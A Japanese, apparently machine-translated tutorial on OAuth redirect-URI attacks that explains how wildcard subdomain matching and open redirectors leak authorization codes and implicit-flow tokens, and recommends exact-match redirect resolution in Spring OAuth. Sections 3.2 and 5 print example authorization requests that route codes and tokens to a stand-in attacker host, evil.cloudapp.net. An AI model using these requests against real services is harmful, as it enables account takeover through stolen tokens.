1. 序章

OAuthは、委任された承認のための業界標準のフレームワークです。 標準を構成するさまざまなフローの作成には、多くの考えと注意が払われています。 それでも、脆弱性がないわけではありません。

この一連の記事では、理論的な観点からOAuthに対する攻撃について説明し、アプリケーションを保護するために存在するさまざまなオプションについて説明します。

2. 承認コードの付与

認証コード付与フローは、委任された認証を実装するほとんどのアプリケーションで使用されるデフォルトのフローです。

そのフローを開始する前に、クライアントは承認サーバーに事前登録されている必要があり、このプロセス中に、リダイレクトURL、つまり承認サーバーがクライアントにコールバックできるURLも提供されている必要があります。認証コード付き。

それがどのように機能するか、そしてこれらの用語のいくつかが何を意味するかを詳しく見てみましょう。

承認コード付与フロー中に、クライアント(委任された承認を要求しているアプリケーション)は、リソース所有者(ユーザー)を承認サーバーにリダイレクトします(たとえば、 Googleでログイン)。 ログイン後、認証サーバーは認証コードを使用してクライアントにリダイレクトします。

次に、クライアントは認証サーバーのエンドポイントを呼び出し、認証コードを提供してアクセストークンを要求します。 この時点でフローは終了し、クライアントはトークンを使用して、承認サーバーによって保護されているリソースにアクセスできます。

現在、 OAuth 2.0フレームワークでは、これらのクライアントをパブリックにすることができます。たとえば、クライアントがクライアントシークレットを安全に保持できないシナリオで使用できます。 パブリッククライアントに対して可能なリダイレクト攻撃を見てみましょう。

3. リダイレクト攻撃

3.1. 攻撃の前提条件

リダイレクト攻撃は、 OAuth標準では、このリダイレクトURLを指定する必要がある範囲が完全には説明されていません。 これは仕様によるものです。

これにより、OAuthプロトコルの一部の実装で部分的なリダイレクトURLを使用できるようになります。

たとえば、クライアントIDとクライアントリダイレクトURLを、承認サーバーに対して次のワイルドカードベースの一致で登録するとします。

* .cloudapp.net

これは次の場合に有効です。

app.cloudapp.net

だけでなく:

evil.cloudapp.net

cloudapp.net ドメインは、OAuthを利用したアプリケーションをホストできる実際の場所であるため、意図的に選択しました。 このドメインはMicrosoftのWindowsAzureプラットフォームの一部であり、開発者はその下でサブドメインをホストしてアプリケーションをテストできます。 これ自体は問題ではありませんが、より大きなエクスプロイトの重要な部分です。

このエクスプロイトの2番目の部分は、コールバックURLでのワイルドカード照合を可能にする承認サーバーです。

最後に、このエクスプロイトを実現するには、アプリケーション開発者は承認サーバーに登録して、メインドメインの下のURLを*。cloudapp.netの形式で受け入れる必要があります。

3.2. 攻撃

これらの条件が満たされると、攻撃者はユーザーをだまして、自分の管理下にあるサブドメインからページを起動させる必要があります。たとえば、ユーザーに本物のメールを送信して、 OAuthによって保護されたアカウント。 通常、これはhttps://evil.cloudapp.net/loginのようになります。 ユーザーがこのリンクを開いてログインを選択すると、ユーザーは認証リクエストを使用して認証サーバーにリダイレクトされます。

GET /authorize?response_type=code&client_id={apps-client-id}&state={state}&redirect_uri=https%3A%2F%2Fevil.cloudapp.net%2Fcb HTTP/1.1

これは典型的に見えるかもしれませんが、このURLは悪意があります。 この場合、承認サーバーは、アプリのクライアントID悪のアプリを指すリダイレクトURLを含むドクターURLを受信します。

次に、承認サーバーは、指定されたメインドメインの下のサブドメインであるURLを検証します。 承認サーバーは、要求が有効なソースから発信されたと信じているため、通常どおりにユーザーを認証してから同意を求めます。

これが完了すると、 evil.cloudapp.net サブドメインにリダイレクトされ、攻撃者に認証コードが渡されます。

攻撃者は認証コードを取得したため、認証サーバーのトークンエンドポイントを認証コードで呼び出してトークンを受信するだけで、リソース所有者の保護されたリソースにアクセスできます。

4. Spring OAuthAuthorizationServerの脆弱性評価

簡単なSpringOAuth認証サーバーの構成を見てみましょう。

@Configuration
public class AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {    
    @Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
        clients.inMemory()
          .withClient("apricot-client-id")
          .authorizedGrantTypes("authorization_code")
          .scopes("scope1", "scope2")
          .redirectUris("https://app.cloudapp.net/oauth");
    }
    // ...
}

ここで、承認サーバーがID “ apricot-client-id”で新しいクライアントを構成していることがわかります。 クライアントシークレットがないため、これはパブリッククライアントです。

私たちのセキュリティの耳はこれで元気になるはずです。3つの条件のうち2つがあります。悪人はサブドメインを登録でき、はパブリッククライアントを使用しています。

ただし、ここでもリダイレクトURLを構成しており、絶対であることに注意してください。 そうすることで、脆弱性を軽減できます。

4.1. 厳しい

デフォルトでは、Spring OAuthにより、リダイレクトURLのマッチングにある程度の柔軟性がもたらされます。

たとえば、DefaultRedirectResolverはサブドメインのマッチングをサポートしています。

必要なものだけを使用しましょう。リダイレクトURLを正確に一致させることができる場合は、次のようにする必要があります。

@Configuration
public class AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {    
    //...

    @Override
    public void configure(AuthorizationServerEndpointsConfigurer endpoints) {
        endpoints.redirectResolver(new ExactMatchRedirectResolver());
    }
}

この場合、リダイレクトURLにExactMatchRedirectResolverを使用するように切り替えました。 このリゾルバーは、リダイレクトURLを解析せずに、文字列を完全に一致させます。 これにより、その動作がはるかに安全で確実になります。

4.2. 寛大な

SpringSecurityOAuthソースでリダイレクトURLマッチングを処理するデフォルトコードを見つけることができます。

/**
Whether the requested redirect URI "matches" the specified redirect URI. For a URL, this implementation tests if
the user requested redirect starts with the registered redirect, so it would have the same host and root path if
it is an HTTP URL. The port, userinfo, query params also matched. Request redirect uri path can include
additional parameters which are ignored for the match
<p>
For other (non-URL) cases, such as for some implicit clients, the redirect_uri must be an exact match.
@param requestedRedirect The requested redirect URI.
@param redirectUri The registered redirect URI.
@return Whether the requested redirect URI "matches" the specified redirect URI.
*/
protected boolean redirectMatches(String requestedRedirect, String redirectUri) {
   UriComponents requestedRedirectUri = UriComponentsBuilder.fromUriString(requestedRedirect).build();
   UriComponents registeredRedirectUri = UriComponentsBuilder.fromUriString(redirectUri).build();
   boolean schemeMatch = isEqual(registeredRedirectUri.getScheme(), requestedRedirectUri.getScheme());
   boolean userInfoMatch = isEqual(registeredRedirectUri.getUserInfo(), requestedRedirectUri.getUserInfo());
   boolean hostMatch = hostMatches(registeredRedirectUri.getHost(), requestedRedirectUri.getHost());
   boolean portMatch = matchPorts ? registeredRedirectUri.getPort() == requestedRedirectUri.getPort() : true;
   boolean pathMatch = isEqual(registeredRedirectUri.getPath(),
     StringUtils.cleanPath(requestedRedirectUri.getPath()));
   boolean queryParamMatch = matchQueryParams(registeredRedirectUri.getQueryParams(),
     requestedRedirectUri.getQueryParams());

   return schemeMatch && userInfoMatch && hostMatch && portMatch && pathMatch && queryParamMatch;
}

URLの照合は、着信リダイレクトURLをそのコンポーネント部分に解析することで行われていることがわかります。 これは、いくつかの機能があるため、非常に複雑です。 ポート、サブドメイン、クエリのパラメータが一致するかどうかなどです。 また、サブドメインの一致を許可することを選択することは、2度考えるべきことです。

もちろん、この柔軟性は必要に応じてあります。注意して使用しましょう。

5. 暗黙のフローリダイレクト攻撃

明確にするために、暗黙的なフローは推奨されません。 PKCEによって提供される追加のセキュリティを備えた認証コード付与フローを使用することをお勧めします。 そうは言っても、リダイレクト攻撃が暗黙のフローでどのように現れるかを見てみましょう。

暗黙のフローに対するリダイレクト攻撃は、上記で見たのと同じ基本的な概要に従います。 主な違いは、認証コード交換ステップがないため、攻撃者がトークンをすぐに取得することです。

以前と同様に、リダイレクトURLの完全一致により、このクラスの攻撃も軽減されます。

さらに、暗黙のフローに別の関連する脆弱性が含まれていることがわかります。 攻撃者はクライアントをオープンリダイレクタとして使用し、フラグメントを再接続させることができます

攻撃は以前と同じように始まり、攻撃者はユーザーを攻撃者の制御下にあるページ(たとえば、 https://evil.cloudapp.net/info )にアクセスさせます。 このページは、以前と同様に承認リクエストを開始するように作成されています。 ただし、リダイレクトURLが含まれるようになりました。

GET /authorize?response_type=token&client_id=ABCD&state=xyz&redirect_uri=https%3A%2F%2Fapp.cloudapp.net%2Fcb%26redirect_to
%253Dhttps%253A%252F%252Fevil.cloudapp.net%252Fcb HTTP/1.1

redirect_to https://evil.cloudapp.net は、攻撃者の制御下にあるドメインにトークンをリダイレクトするように承認エンドポイントを設定しています。 これで、認証サーバーは最初に実際のアプリサイトにリダイレクトします。

Location: https://app.cloudapp.net/cb?redirect_to%3Dhttps%3A%2F%2Fevil.cloudapp.net%2Fcb#access_token=LdKgJIfEWR34aslkf&...

このリクエストがオープンリダイレクタに到着すると、リダイレクトURL evil.cloudapp.net を抽出して、攻撃者のサイトにリダイレクトします。

https://evil.cloudapp.net/cb#access_token=LdKgJIfEWR34aslkf&...

絶対URLマッチングも、この攻撃を軽減します。

6. 概要

この記事では、リダイレクトURLに基づくOAuthプロトコルに対する攻撃のクラスについて説明しました。

これは潜在的に深刻な結果をもたらしますが、承認サーバーで絶対URLマッチングを使用すると、このクラスの攻撃が軽減されます。